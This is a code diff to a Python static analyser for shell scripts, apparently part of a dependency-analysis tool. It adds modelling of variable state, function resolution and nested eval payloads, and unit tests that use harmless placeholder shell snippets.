...] = () + if ( + command.resolution.kind is _CommandResolutionKind.FUNCTION + and command.resolution.function_id is not None + ): + effect_function_ids = (command.resolution.function_id,) + elif ( + command.resolution.kind is _CommandResolutionKind.AMBIGUOUS + and argv[0].state is StaticValueState.EXACT + ): + effect_function_ids = possible_function_ids( + draft, + cast(bytes, argv[0].exact_bytes), + include_future=draft.function_id is not None, + ) + if effect_function_ids: + if command.resolution.kind is _CommandResolutionKind.FUNCTION and any( + function_id not in functions_by_id for function_id in effect_function_ids + ): + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + command.site.span, + ) + effect_binding_names: set[str] = set() + effect_export_names: set[str] = set() + effect_function_names: set[bytes] = set() + effect_bindings_unknown = False + effect_exports_unknown = False + effect_functions_unknown = False + for function_id in effect_function_ids: + ( + nested_binding_names, + nested_export_names, + nested_function_names, + nested_bindings_unknown, + nested_exports_unknown, + nested_functions_unknown, + ) = function_effects(function_id) + effect_binding_names.update(nested_binding_names) + effect_export_names.update(nested_export_names) + effect_function_names.update(nested_function_names) + effect_bindings_unknown = effect_bindings_unknown or nested_bindings_unknown + effect_exports_unknown = effect_exports_unknown or nested_exports_unknown + effect_functions_unknown = effect_functions_unknown or nested_functions_unknown + value_names = set(effect_binding_names) + export_names = set(effect_export_names) + if effect_bindings_unknown: + value_names.update(_visible_bindings(frame)) + if effect_exports_unknown: + export_names.update(_visible_bindings(frame)) + for binding_name in sorted(value_names | export_names): + previous = self._lookup_binding(frame, binding_name) + self._apply_binding( + frame=frame, + binding=_BindingIR( + binding_name, + ( + StaticValue.unknown() + if binding_name in value_names + else previous.value + ), + ( + _ExportState.UNKNOWN + if binding_name in export_names + else previous.export_state + ), + () if binding_name in value_names else previous.fragments, + ), + role=role, + draft=draft, + updates=updates, + ) + for function_name in sorted(effect_function_names): + frame.functions[function_name] = None + if effect_functions_unknown: + for function_name in _visible_functions(frame): + frame.functions[function_name] = None + frame.functions_unknown = True + + nested = self._nested_request(command, frame, depth=depth) + if nested is not None: + response = yield nested + if nested.execution_kind is _NestedExecutionKind.EVAL: + if response.bindings is not None: + prefix_binding_names = {binding.name for binding in command.prefix_bindings} + for binding_name, binding in response.bindings.items(): + if binding_name in prefix_binding_names: + continue + if self._lookup_binding(frame, binding_name) == binding: + continue + self._apply_binding( + frame=frame, + binding=binding, + role=role, + draft=draft, + updates=updates, + ) + if response.functions is not None: + frame.functions.update(response.functions) + frame.functions_unknown = frame.functions_unknown or response.functions_unknown + elif command.resolution.kind in { + _CommandResolutionKind.EXTERNAL, + _CommandResolutionKind.AMBIGUOUS, + } and command.site.argv[0] == StaticValue.exact(b"eval"): + if command.resolution.kind is _CommandResolutionKind.AMBIGUOUS: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + command.site.span, + ) + for binding_name in tuple(_visible_bindings(frame)): + self._apply_binding( + frame=frame, + binding=_BindingIR( + binding_name, + StaticValue.unknown(), + _ExportState.UNKNOWN, + (), + ), + role=role, + draft=draft, + updates=updates, + ) + for function_name in tuple(_visible_functions(frame)): + frame.functions[function_name] = None + frame.functions_unknown = True + + final_draft = self.event_drafts[-1] if self.event_drafts else None + if final_draft is not None: + for scope_id in reversed(active_control_scopes): + self._merge_control_frame( + frame=control_frames[scope_id], + parent=control_parents[scope_id], + scope_id=scope_id, + draft=final_draft, + updates=updates, + ) + + assignments = [ + assignment + for assignment_index, assignment in enumerate(assignments) + if assignment_index in modeled_assignment_indices + ] + assignments.sort(key=lambda item: item.site.span.start_byte) + assignments = [replace(item, order=index) for index, item in enumerate(assignments)] + commands = [command for command in commands if command.program_id == self.unit.unit_id] + commands.sort(key=lambda item: item.site.span.start_byte) + commands = [replace(item, order=index) for index, item in enumerate(commands)] + state_frames_by_id = { + frame.frame_id: frame for frame in (root, *frames.values(), *control_frames.values()) + } + state_frames: tuple[_StateFrameFact, ...] = () + retained_initial_bindings: tuple[_BindingIR, ...] = () + retained_initial_functions: tuple[tuple[bytes, int | None], ...] = () + retained_initial_functions_unknown = False + state_span = program.regions[0].span if program.regions else self.unit.origin_span + state_snapshot_retained = self._reserve( + len(state_frames_by_id) + len(initial_bindings or {}) + len(initial_functions or {}), + span=state_span, + ) + if state_snapshot_retained: + state_frames = tuple( + _StateFrameFact( + frame.frame_id, + frame.parent.frame_id if frame.parent is not None else None, + frame.functions_unknown, + ) + for frame in sorted(state_frames_by_id.values(), key=lambda item: item.frame_id) + ) + retained_initial_bindings = tuple( + binding for _, binding in sorted((initial_bindings or {}).items()) + ) + retained_initial_functions = tuple(sorted((initial_functions or {}).items())) + retained_initial_functions_unknown = initial_functions_unknown + else: + commands = [] + assignments = [] + updates = [] + events = [] + return _ModeledState( + replace( + program, + program_id=self.unit.unit_id, + commands=tuple(commands), + assignments=tuple(assignments), + state_updates=tuple(updates), + state_events=tuple(events), + state_frames=state_frames, + initial_bindings=retained_initial_bindings, + initial_functions=retained_initial_functions, + initial_functions_unknown=retained_initial_functions_unknown, + ), + dict(root.bindings), + dict(root.functions), + root.functions_unknown, + ) + + def lower(self) -> _ShellProgramIR: + if self.halted: + return _ShellProgramIR( + program_id=self.unit.unit_id, + regions=tuple(self.regions), + ) + sorted_command_drafts = sorted(self.command_drafts, key=lambda item: item.node.start_byte) + mutable_commands_by_depth: dict[int, list[_CommandDraft]] = {} + for command in sorted_command_drafts: + mutable_commands_by_depth.setdefault(command.substitution_depth, []).append(command) + commands_by_depth = { + depth: tuple(commands) for depth, commands in mutable_commands_by_depth.items() + } + starts_by_depth = { + depth: tuple(command.node.start_byte for command in commands) + for depth, commands in commands_by_depth.items() + } + redirects_by_command: dict[int, list[_RedirectDraft]] = {} + for redirect in self.redirect_drafts: + command_start = self._redirect_command_start( + redirect, + commands_by_depth, starts_by_depth, ) if command_start is None: @@ -2117,19 +4875,37 @@ def lower(self) -> _ShellProgramIR: if command_draft.node.type == "command": while groups and self._group_assignment_name(groups[0]) is not None: prefix_groups.append(groups.pop(0)) - for group in prefix_groups: + persistent_prefix_count = 0 + if prefix_groups and groups: + boundary_groups = (*prefix_groups[1:], groups[0]) + for index, (prefix_group, next_group) in enumerate( + zip(prefix_groups, boundary_groups, strict=True) + ): + prefix_end_node = prefix_group.nodes[-1] + next_start_node = next_group.nodes[0] + gap = self.raw[prefix_end_node.end_byte : next_start_node.start_byte] + if ( + prefix_end_node.end_point.row < next_start_node.start_point.row + and not self._is_line_continuation_gap(gap) + ): + persistent_prefix_count = index + 1 + for index, group in enumerate(prefix_groups): + persistent_assignment = index < persistent_prefix_count assignment = self._assignment_from_group( group, order=len(assignments), region_id=command_draft.region_id, function_id=command_draft.function_id, - prefix_for_command_start_byte=command_draft.node.start_byte, + prefix_for_command_start_byte=( + None if persistent_assignment else command_draft.node.start_byte + ), ) if assignment is not None: assignments.append(assignment) - prefix_sites_by_command.setdefault(command_draft.node.start_byte, []).append( - assignment.site - ) + if not persistent_assignment: + prefix_sites_by_command.setdefault( + command_draft.node.start_byte, [] + ).append(assignment.site) if self.halted: break if self.halted or not groups: @@ -2171,7 +4947,12 @@ def lower(self) -> _ShellProgramIR: break facts: list[_RedirectFact] = [] - span_start = name_group.start_byte if timed else command_draft.node.start_byte + command_prefix_start = ( + prefix_groups[persistent_prefix_count].start_byte + if persistent_prefix_count < len(prefix_groups) + else name_group.start_byte + ) + span_start = name_group.start_byte if timed else command_prefix_start span_end = max(argument.local_end_byte for argument in arguments) command_redirects = sorted( redirects_by_command.get(command_draft.node.start_byte, ()), @@ -2259,6 +5040,8 @@ def lower(self) -> _ShellProgramIR: tuple(ordered_arguments), prefix_sites, tuple(facts), + local_start_byte=command_draft.node.start_byte, + local_end_byte=command_draft.node.end_byte, ) ) @@ -2276,6 +5059,8 @@ def lower(self) -> _ShellProgramIR: region_id=command_draft.region_id, function_id=command_draft.function_id, prefix_for_command_start_byte=None, + declaration_keyword=cast(bytes, site.argv[0].exact_bytes), + declaration_command_start_byte=command_draft.node.start_byte, ) if assignment is not None: assignments.append(assignment) @@ -2287,18 +5072,595 @@ def lower(self) -> _ShellProgramIR: assignments = [replace(item, order=index) for index, item in enumerate(assignments)] commands.sort(key=lambda item: item.site.span.start_byte) commands = [replace(item, order=index) for index, item in enumerate(commands)] - return _ShellProgramIR( + program = _ShellProgramIR( + program_id=self.unit.unit_id, regions=tuple(self.regions), functions=self._functions() if not self.halted else (), commands=tuple(commands), assignments=tuple(assignments), ) + return program + + +def _visible_bindings(frame: _StateFrame) -> dict[str, _BindingIR]: + chain: list[_StateFrame] = [] + current: _StateFrame | None = frame + while current is not None: + chain.append(current) + current = current.parent + visible: dict[str, _BindingIR] = {} + for current in reversed(chain): + visible.update(current.bindings) + return visible + + +def _visible_functions(frame: _StateFrame) -> dict[bytes, int | None]: + chain: list[_StateFrame] = [] + current: _StateFrame | None = frame + while current is not None: + chain.append(current) + current = current.parent + visible: dict[bytes, int | None] = {} + for current in reversed(chain): + visible.update(current.functions) + return visible + + +def _visible_functions_unknown(frame: _StateFrame) -> bool: + current: _StateFrame | None = frame + while current is not None: + if current.functions_unknown: + return True + current = current.parent + return False + + +def _unknown_nested_response(request: _NestedRequest) -> _NestedResponse: + if request.execution_kind is not _NestedExecutionKind.EVAL: + return _NestedResponse() + bindings = { + name: _BindingIR(name, StaticValue.unknown(), _ExportState.UNKNOWN, ()) + for name in _visible_bindings(request.frame) + } + functions = dict.fromkeys(_visible_functions(request.frame)) + return _NestedResponse(bindings, functions, True) + + +def _identity_source_map(unit: ShellUnit) -> SourceMap | None: + if unit.source_map is not None: + return unit.source_map + if unit.origin_span.start_byte != 0: + return None + entries = ( + ( + SourceMapEntry( + 0, + len(unit.raw_bytes), + unit.origin_span.start_byte, + unit.origin_span.end_byte, + ), + ) + if unit.raw_bytes + else () + ) + return SourceMap( + path=unit.origin_span.path, + entries=entries, + child_size_bytes=len(unit.raw_bytes), + physical_size_bytes=unit.origin_span.end_byte, + physical_line_starts=_line_starts(_physical_lines(unit.raw_bytes)), + ) + + +def _nested_source_map( + parent: _ShellLowerer, + payload: _ArgumentIR, +) -> SourceMap | None: + if payload.value.state is not StaticValueState.EXACT: + return None + payload_bytes = cast(bytes, payload.value.exact_bytes) + parent_map = _identity_source_map(parent.unit) + if parent_map is None: + return None + parent_local = all(fragment.unit_id == parent.unit.unit_id for fragment in payload.fragments) + entries: list[SourceMapEntry] = [] + logical_cursor = 0 + physical_cursor = 0 + for fragment in payload.fragments: + physical_start = fragment.local_start_byte if parent_local else fragment.span.start_byte + physical_end = fragment.local_end_byte if parent_local else fragment.span.end_byte + if ( + not fragment.exact + or fragment.value_start_byte != logical_cursor + or fragment.value_end_byte <= fragment.value_start_byte + or physical_end <= physical_start + or fragment.value_end_byte - fragment.value_start_byte != physical_end - physical_start + or physical_start < physical_cursor + ): + return None + candidate = SourceMapEntry( + fragment.value_start_byte, + fragment.value_end_byte, + physical_start, + physical_end, + ) + if ( + entries + and entries[-1].child_end_byte == candidate.child_start_byte + and entries[-1].physical_end_byte == candidate.physical_start_byte + ): + previous = entries[-1] + entries[-1] = SourceMapEntry( + previous.child_start_byte, + candidate.child_end_byte, + previous.physical_start_byte, + candidate.physical_end_byte, + ) + else: + entries.append(candidate) + logical_cursor = fragment.value_end_byte + physical_cursor = physical_end + if logical_cursor != len(payload_bytes): + return None + if not payload_bytes: + entries = [] + intermediate_map = SourceMap( + path=parent.unit.origin_span.path, + entries=tuple(entries), + child_size_bytes=len(payload_bytes), + physical_size_bytes=( + len(parent.unit.raw_bytes) if parent_local else parent_map.physical_size_bytes + ), + physical_line_starts=( + _line_starts(_physical_lines(parent.unit.raw_bytes)) + if parent_local + else parent_map.physical_line_starts + ), + ) + if not parent_local: + return intermediate_map + try: + return intermediate_map.compose(parent_map) + except ValueError: + return None + + +def _nested_unit( + parent: _ShellLowerer, + request: _NestedRequest, + source_map: SourceMap, +) -> ShellUnit: + payload = cast(bytes, request.payload.value.exact_bytes) + physical_starts = source_map.physical_line_starts + mapped_starts = [entry.physical_start_byte for entry in source_map.entries] + mapped_ends = [entry.physical_end_byte for entry in source_map.entries] + origin_start = min([request.command.site.span.start_byte, *mapped_starts]) + origin_end = max([request.command.site.span.end_byte, *mapped_ends]) + origin = _span_for_bytes( + parent.unit.origin_span.path, + physical_starts, + origin_start, + origin_end, + ) + return ShellUnit( + dialect=( + ShellDialect.BASH + if request.execution_kind is _NestedExecutionKind.EVAL + else { + b"bash": ShellDialect.BASH, + b"sh": ShellDialect.SH, + b"dash": ShellDialect.DASH, + }[cast(bytes, request.command.site.argv[0].exact_bytes)] + ), + kind=ShellUnitKind.NESTED_LITERAL, + provenance=SiteProvenance.NESTED_LITERAL, + raw_bytes=payload, + origin_span=origin, + source_map=source_map, + ) + + +def _initial_nested_state( + request: _NestedRequest, +) -> tuple[dict[str, _BindingIR], dict[bytes, int | None], bool]: + visible = _visible_bindings(request.frame) + if request.execution_kind is _NestedExecutionKind.EVAL: + visible.update({binding.name: binding for binding in request.command.prefix_bindings}) + return ( + visible, + _visible_functions(request.frame), + _visible_functions_unknown(request.frame), + ) + exported = { + name: binding + for name, binding in visible.items() + if binding.export_state is _ExportState.EXPORTED + } + exported.update({binding.name: binding for binding in request.command.prefix_bindings}) + return exported, {}, False + + +def _retain_nested_issue( + lowerer: _ShellLowerer, + reason: ShellIssueReason, + span: SourceSpan, + *, + exhaustion: DependencyWorkExhaustion | None = None, +) -> None: + lowerer._issue(reason, span, exhaustion=exhaustion) + + +def _run_program_queue( + root_lowerer: _ShellLowerer, + root_program: _ShellProgramIR, + *, + budget: DependencyWorkBudget, + file_budget: DependencyFileBudget, + accounting_unit: ShellUnit, + deadline_monotonic: float | None, +) -> tuple[_ShellProgramIR, tuple[ShellWorkItem, ...], bool]: + root_generator = root_lowerer._model_state(root_program) + stack = [ + _ProgramJob( + lowerer=root_lowerer, + unit=root_lowerer.unit, + depth=0, + execution_kind=None, + parent_request=None, + nested_order=None, + initial_bindings={}, + initial_functions={}, + initial_functions_unknown=False, + generator=root_generator, + ) + ] + nested_programs: list[_NestedProgramIR] = [] + nested_work_items: list[tuple[int, ShellWorkItem]] = [] + completed_nested_programs: list[tuple[int, _ShellProgramIR]] = [] + root_modeled: _ModeledState | None = None + any_partial = root_lowerer.partial + next_nested_order = 0 + + while stack: + job = stack[-1] + try: + if not job.started: + request = next(job.generator) + job.started = True + else: + response = job.pending_response or _NestedResponse() + job.pending_response = None + request = job.generator.send(response) + except StopIteration as stopped: + modeled = cast(_ModeledState, stopped.value) + stack.pop() + if job.execution_kind is None: + root_modeled = modeled + continue + outcome = ( + ShellWorkOutcome.PARTIAL if job.lowerer.partial else ShellWorkOutcome.COMPLETED + ) + root_lowerer.issues.extend(job.lowerer.issues) + any_partial = any_partial or outcome is not ShellWorkOutcome.COMPLETED + if job.nested_order is None or job.parent_request is None: + raise RuntimeError("nested program completed without parent context") from None + retained_program = ( + _ShellProgramIR(program_id=job.unit.unit_id) + if job.lowerer.halted + else modeled.program + ) + if not job.lowerer.halted: + completed_nested_programs.append((job.nested_order, modeled.program)) + nested_programs.append( + _NestedProgramIR( + order=job.nested_order, + unit=job.unit, + depth=job.depth, + execution_kind=job.execution_kind, + parent_program_id=job.parent_request.command.program_id, + parent_command_start_byte=(job.parent_request.command.site.span.start_byte), + program=retained_program, + outcome=outcome, + ) + ) + nested_work_items.append((job.nested_order, _shell_work_item(job.unit, outcome))) + if not stack: + raise RuntimeError("nested program completed without a parent") from None + if job.execution_kind is _NestedExecutionKind.EVAL and not job.lowerer.partial: + child_function_names = { + cast(bytes, function.name.exact_bytes) + for function in modeled.program.functions + if function.name.state is StaticValueState.EXACT + } + stack[-1].pending_response = _NestedResponse( + modeled.bindings, + { + name: ( + None + if function_id is None + else ( + _IMPORTED_FUNCTION_ID + if name in child_function_names + else function_id + ) + ) + for name, function_id in modeled.functions.items() + }, + modeled.functions_unknown, + ) + else: + stack[-1].pending_response = ( + _unknown_nested_response(cast(_NestedRequest, job.parent_request)) + if job.lowerer.partial and job.parent_request is not None + else _NestedResponse() + ) + continue + + exhaustion = file_budget.observe_shell_nested_depth(accounting_unit, request.depth) + if exhaustion is not None: + _retain_nested_issue( + job.lowerer, + ShellIssueReason.RESOURCE_LIMIT, + request.payload.span, + exhaustion=exhaustion, + ) + any_partial = True + job.pending_response = _unknown_nested_response(request) + continue + source_map = _nested_source_map(job.lowerer, request.payload) + if source_map is None: + _retain_nested_issue( + job.lowerer, + ShellIssueReason.UNSUPPORTED_SEMANTICS, + request.payload.span, + ) + any_partial = True + job.pending_response = _unknown_nested_response(request) + continue + child = _nested_unit(job.lowerer, request, source_map) + nested_order = next_nested_order + next_nested_order += 1 + unit_exhaustion = _reserve_shell_unit( + file_budget, + source_map_entries=len(source_map.entries), + ) + if unit_exhaustion is not None: + _retain_nested_issue( + job.lowerer, + ShellIssueReason.RESOURCE_LIMIT, + request.payload.span, + exhaustion=unit_exhaustion, + ) + nested_programs.append( + _NestedProgramIR( + order=nested_order, + unit=child, + depth=request.depth, + execution_kind=request.execution_kind, + parent_program_id=request.command.program_id, + parent_command_start_byte=request.command.site.span.start_byte, + program=_ShellProgramIR(program_id=child.unit_id), + outcome=ShellWorkOutcome.SKIPPED, + ) + ) + nested_work_items.append( + (nested_order, _shell_work_item(child, ShellWorkOutcome.SKIPPED)) + ) + any_partial = True + job.pending_response = _unknown_nested_response(request) + continue + parse_exhaustion = file_budget.reserve_shell_parse(len(child.raw_bytes)) + if parse_exhaustion is not None: + _retain_nested_issue( + job.lowerer, + ShellIssueReason.RESOURCE_LIMIT, + request.payload.span, + exhaustion=parse_exhaustion, + ) + nested_programs.append( + _NestedProgramIR( + order=nested_order, + unit=child, + depth=request.depth, + execution_kind=request.execution_kind, + parent_program_id=request.command.program_id, + parent_command_start_byte=request.command.site.span.start_byte, + program=_ShellProgramIR(program_id=child.unit_id), + outcome=ShellWorkOutcome.SKIPPED, + ) + ) + nested_work_items.append( + (nested_order, _shell_work_item(child, ShellWorkOutcome.SKIPPED)) + ) + any_partial = True + job.pending_response = _unknown_nested_response(request) + continue + try: + tree = parse_bash_source( + child.raw_bytes, + deadline_monotonic=deadline_monotonic, + meaningful_work=True, + ) + except ShellParserError as error: + reason = ( + ShellIssueReason.RUNTIME_LIMIT + if error.reason is ShellParserFailureReason.RUNTIME_LIMIT + else ShellIssueReason.SHELL_PARSER_UNAVAILABLE + ) + _retain_nested_issue(job.lowerer, reason, request.payload.span) + nested_programs.append( + _NestedProgramIR( + order=nested_order, + unit=child, + depth=request.depth, + execution_kind=request.execution_kind, + parent_program_id=request.command.program_id, + parent_command_start_byte=request.command.site.span.start_byte, + program=_ShellProgramIR(program_id=child.unit_id), + outcome=ShellWorkOutcome.PARTIAL, + ) + ) + nested_work_items.append( + (nested_order, _shell_work_item(child, ShellWorkOutcome.PARTIAL)) + ) + any_partial = True + job.pending_response = _unknown_nested_response(request) + continue + child_lowerer = _ShellLowerer( + child, + budget, + file_budget, + accounting_unit=accounting_unit, + ) + child_lowerer.walk(tree.root_node) + child_program = child_lowerer.lower() + initial_bindings, initial_functions, initial_functions_unknown = _initial_nested_state( + request + ) + if child_lowerer.halted: + root_lowerer.issues.extend(child_lowerer.issues) + nested_programs.append( + _NestedProgramIR( + order=nested_order, + unit=child, + depth=request.depth, + execution_kind=request.execution_kind, + parent_program_id=request.command.program_id, + parent_command_start_byte=request.command.site.span.start_byte, + program=_ShellProgramIR(program_id=child.unit_id), + outcome=ShellWorkOutcome.PARTIAL, + ) + ) + nested_work_items.append( + (nested_order, _shell_work_item(child, ShellWorkOutcome.PARTIAL)) + ) + any_partial = True + job.pending_response = _unknown_nested_response(request) + continue + child_generator = child_lowerer._model_state( + child_program, + initial_bindings=initial_bindings, + initial_functions=initial_functions, + initial_functions_unknown=initial_functions_unknown, + depth=request.depth, + ) + stack.append( + _ProgramJob( + lowerer=child_lowerer, + unit=child, + depth=request.depth, + execution_kind=request.execution_kind, + parent_request=request, + nested_order=nested_order, + initial_bindings=initial_bindings, + initial_functions=initial_functions, + initial_functions_unknown=initial_functions_unknown, + generator=child_generator, + ) + ) + + if root_modeled is None: + raise RuntimeError("root shell program did not complete") + publication_cost = sum( + 1 + len(program.commands) + len(program.assignments) + for _, program in completed_nested_programs + ) + if publication_cost: + first_completed_order = min(order for order, _ in completed_nested_programs) + publication_span = next( + nested.unit.origin_span + for nested in nested_programs + if nested.order == first_completed_order + ) + if not root_lowerer._reserve(publication_cost, span=publication_span): + discarded_orders = {order for order, _ in completed_nested_programs} + completed_nested_programs = [] + nested_programs = [ + nested for nested in nested_programs if nested.order not in discarded_orders + ] + nested_work_items = [ + ( + order, + ( + replace(item, outcome=ShellWorkOutcome.PARTIAL) + if order in discarded_orders + else item + ), + ) + for order, item in nested_work_items + ] + any_partial = True + + retained_parent_commands = { + (command.program_id, command.site.span.start_byte) + for command in root_modeled.program.commands + } + retained_nested_programs: list[_NestedProgramIR] = [] + retained_nested_orders: set[int] = set() + for nested in sorted(nested_programs, key=lambda item: item.order): + parent_key = (nested.parent_program_id, nested.parent_command_start_byte) + if parent_key not in retained_parent_commands: + continue + retained_nested_programs.append(nested) + retained_nested_orders.add(nested.order) + retained_parent_commands.update( + (command.program_id, command.site.span.start_byte) + for command in nested.program.commands + ) + nested_programs = retained_nested_programs + nested_work_items = [ + (order, item) for order, item in nested_work_items if order in retained_nested_orders + ] + completed_nested_programs = [ + (order, program) + for order, program in completed_nested_programs + if order in retained_nested_orders + ] + + assignments = list(root_modeled.program.assignments) + for _, program in sorted(completed_nested_programs): + assignments.extend(program.assignments) + assignments.sort(key=lambda item: (item.site.span.start_byte, item.site.span.end_byte)) + ordered_nested_programs = tuple(sorted(nested_programs, key=lambda item: item.order)) + nested_children: dict[tuple[str, int], list[_NestedProgramIR]] = {} + for nested in ordered_nested_programs: + nested_children.setdefault( + (nested.parent_program_id, nested.parent_command_start_byte), [] + ).append(nested) + execution_commands: list[_CommandIR] = [] + execution_stack = list(reversed(root_modeled.program.commands)) + while execution_stack: + command = execution_stack.pop() + execution_commands.append(command) + children = nested_children.get((command.program_id, command.site.span.start_byte), ()) + for child_record in reversed(children): + for child_command in reversed(child_record.program.commands): + execution_stack.append(child_command) + + ordered_commands = tuple( + replace(command, order=index) for index, command in enumerate(execution_commands) + ) + combined = replace( + root_modeled.program, + commands=ordered_commands, + assignments=tuple( + replace(assignment, order=index) for index, assignment in enumerate(assignments) + ), + execution_commands=ordered_commands, + nested_programs=ordered_nested_programs, + ) + return ( + combined, + tuple(item for _, item in sorted(nested_work_items)), + any_partial or root_lowerer.partial, + ) def _analyze_shell_unit( unit: ShellUnit, *, budget: DependencyWorkBudget, + deadline_monotonic: float | None = None, ) -> _ShellAnalysisResult: """Private same-parse boundary retaining bounded structure for later tasks.""" if not isinstance(unit, ShellUnit): @@ -2343,7 +5705,11 @@ def _analyze_shell_unit( return _ShellAnalysisResult(public, _ShellProgramIR()) try: - tree = parse_bash_source(unit.raw_bytes) + tree = parse_bash_source( + unit.raw_bytes, + deadline_monotonic=deadline_monotonic, + meaningful_work=False, + ) except ShellParserError as error: reason = ( ShellIssueReason.RUNTIME_LIMIT @@ -2375,13 +5741,31 @@ def _analyze_shell_unit( lowerer = _ShellLowerer(unit, budget, file_budget) lowerer.walk(tree.root_node) program = lowerer.lower() - outcome = ShellWorkOutcome.PARTIAL if lowerer.partial else ShellWorkOutcome.COMPLETED + if lowerer.halted: + program = replace( + program, + functions=(), + commands=(), + assignments=(), + ) + nested_work_items: tuple[ShellWorkItem, ...] = () + any_partial = lowerer.partial + if not lowerer.halted: + program, nested_work_items, any_partial = _run_program_queue( + lowerer, + program, + budget=budget, + file_budget=file_budget, + accounting_unit=unit, + deadline_monotonic=deadline_monotonic, + ) + outcome = ShellWorkOutcome.PARTIAL if any_partial else ShellWorkOutcome.COMPLETED public = ShellFrontendResult( commands=tuple(command.site for command in program.commands), assignments=tuple(assignment.site for assignment in program.assignments), generated_configs=(), issues=tuple(lowerer.issues), - work_items=(_shell_work_item(unit, outcome),), + work_items=(_shell_work_item(unit, outcome), *nested_work_items), ) return _ShellAnalysisResult(public, program) diff --git a/tests/unit/test_shell_frontend.py b/tests/unit/test_shell_frontend.py index 96c92866..7c3f5a58 100644 --- a/tests/unit/test_shell_frontend.py +++ b/tests/unit/test_shell_frontend.py @@ -53,6 +53,23 @@ def _analyze( ) +def _analyze_private( + raw: bytes, + *, + path: str = "scripts/state.sh", + budget: DependencyWorkBudget | None = None, +) -> tuple[Any, DependencyWorkBudget, Any]: + active_budget = budget or DependencyWorkBudget() + extraction = _extract(path, raw, budget=active_budget) + assert len(extraction.units) == 1 + unit = extraction.units[0] + return ( + shell_frontend._analyze_shell_unit(unit, budget=active_budget), + active_budget, + unit, + ) + + def _argv_bytes(command: Any) -> tuple[bytes | None, ...]: return tuple( value.exact_bytes if value.state is dependency_types.StaticValueState.EXACT else None @@ -782,7 +799,8 @@ def test_private_same_parse_ir_retains_bounded_structure_without_repr_content() budget = DependencyWorkBudget() unit = _extract( "scripts/private-ir.sh", - b"f() { A=secretvalue command secretliteral >secrettarget; }\n", + b"secret_function() { A=secretvalue command secretliteral >secrettarget; }\n" + b"eval 'probe child'\n", budget=budget, ).units[0] @@ -799,7 +817,9 @@ def test_private_same_parse_ir_retains_bounded_structure_without_repr_content() assert all(argument.fragments for argument in command.arguments) assert [fact.kind.value for fact in command.redirects] == ["stdout_truncate"] assert private.program.regions + assert private.program.nested_programs[0].program.initial_functions rendered = repr(private) + assert "secret_function" not in rendered assert "secretliteral" not in rendered assert "secrettarget" not in rendered assert "secretvalue" not in rendered @@ -1075,9 +1095,18 @@ def test_declaration_continued_assignment_matches_full_argv_and_is_emitted_once( assert [_argv_bytes(command) for command in result.commands] == [(keyword, b"A=foobar")] assert [(assignment.name, assignment.value) for assignment in result.assignments] == [ - ("A", dependency_types.StaticValue.exact(b"foobar")) + ( + "A", + ( + dependency_types.StaticValue.unknown() + if keyword == b"readonly" + else dependency_types.StaticValue.exact(b"foobar") + ), + ) ] - assert result.issues == () + assert [issue.reason for issue in result.issues] == ( + [dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS] if keyword == b"readonly" else [] + ) def test_local_continued_assignment_in_function_matches_full_argv_and_is_emitted_once() -> None: @@ -1383,3 +1412,2181 @@ def test_deep_shell_nesting_is_walked_without_python_recursion() -> None: dependency_types.ShellWorkOutcome.COMPLETED, dependency_types.ShellWorkOutcome.PARTIAL, } + + +def test_sequential_state_resolves_only_after_assignment_and_preserves_unbound() -> None: + private, _budget, _unit = _analyze_private( + b'probe "$A"\nA=one\nprobe "pre${A}/post"\nA=\nprobe "$A"\nunset A\nprobe "$A"\n' + ) + + assert [command.argv[1] for command in private.public.commands] == [ + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.exact(b"preone/post"), + dependency_types.StaticValue.exact(b""), + dependency_types.StaticValue.unbound(), + ] + assert private.public.issues == () + + +def test_prefix_overlay_is_site_local_and_export_updates_are_retained_privately() -> None: + private, _budget, _unit = _analyze_private( + b'A=base\nA=temp probe "$A"\nprobe "$A"\nexport E=child\nexport E\nexport -n E\n' + ) + + probes = [ + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [command.site.argv[1] for command in probes] == [ + dependency_types.StaticValue.exact(b"base"), + dependency_types.StaticValue.exact(b"base"), + ] + assert [(binding.name, binding.value) for binding in probes[0].prefix_bindings] == [ + ("A", dependency_types.StaticValue.exact(b"temp")) + ] + assert probes[1].prefix_bindings == () + assert [ + update.binding.export_state.value + for update in private.program.state_updates + if update.binding.name == "E" + ] == ["exported", "exported", "unexported"] + frame_ids = {frame.frame_id for frame in private.program.state_frames} + assert {command.state_frame_id for command in private.program.commands} <= frame_ids + assert {update.frame_id for update in private.program.state_updates} <= frame_ids + + +@pytest.mark.parametrize( + "raw", + [ + b'A=base\nif cond; then A=branch; fi\nprobe "$A"\n', + b'A=base\nA=branch && cond\nprobe "$A"\n', + b'A=base\nwhile cond; do A=branch; done\nprobe "$A"\n', + b'A=base\n{ A=branch; }\nprobe "$A"\n', + b'A=base\nA=branch & wait\nprobe "$A"\n', + ], +) +def test_uncertain_control_flow_widens_written_names(raw: bytes) -> None: + private, _budget, _unit = _analyze_private(raw) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.unknown() + + +@pytest.mark.parametrize( + "isolated", + [ + b"( A=inner )", + b"A=inner | consume", + b"capture $(A=inner; produce)", + b"capture <(A=inner; produce)", + ], +) +def test_child_process_writes_do_not_escape_to_parent_state(isolated: bytes) -> None: + private, _budget, _unit = _analyze_private(b"A=outer\n" + isolated + b'\nprobe "$A"\n') + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.exact(b"outer") + + +def test_function_definition_order_scope_and_shadow_resolution_are_retained() -> None: + private, _budget, _unit = _analyze_private( + b"tool before\n" + b'tool() { A=inner; tool inside "$A"; }\n' + b"tool after\n" + b"if cond; then tool() { neutral; }; fi\n" + b"tool ambiguous\n" + b"A=outer\n" + b'probe "$A"\n' + ) + + tool_commands = [ + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"tool") + ] + assert [command.resolution.kind.value for command in tool_commands] == [ + "external", + "function", + "function", + "ambiguous", + ] + assert tool_commands[1].site.argv[-1] == dependency_types.StaticValue.exact(b"inner") + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.exact(b"outer") + 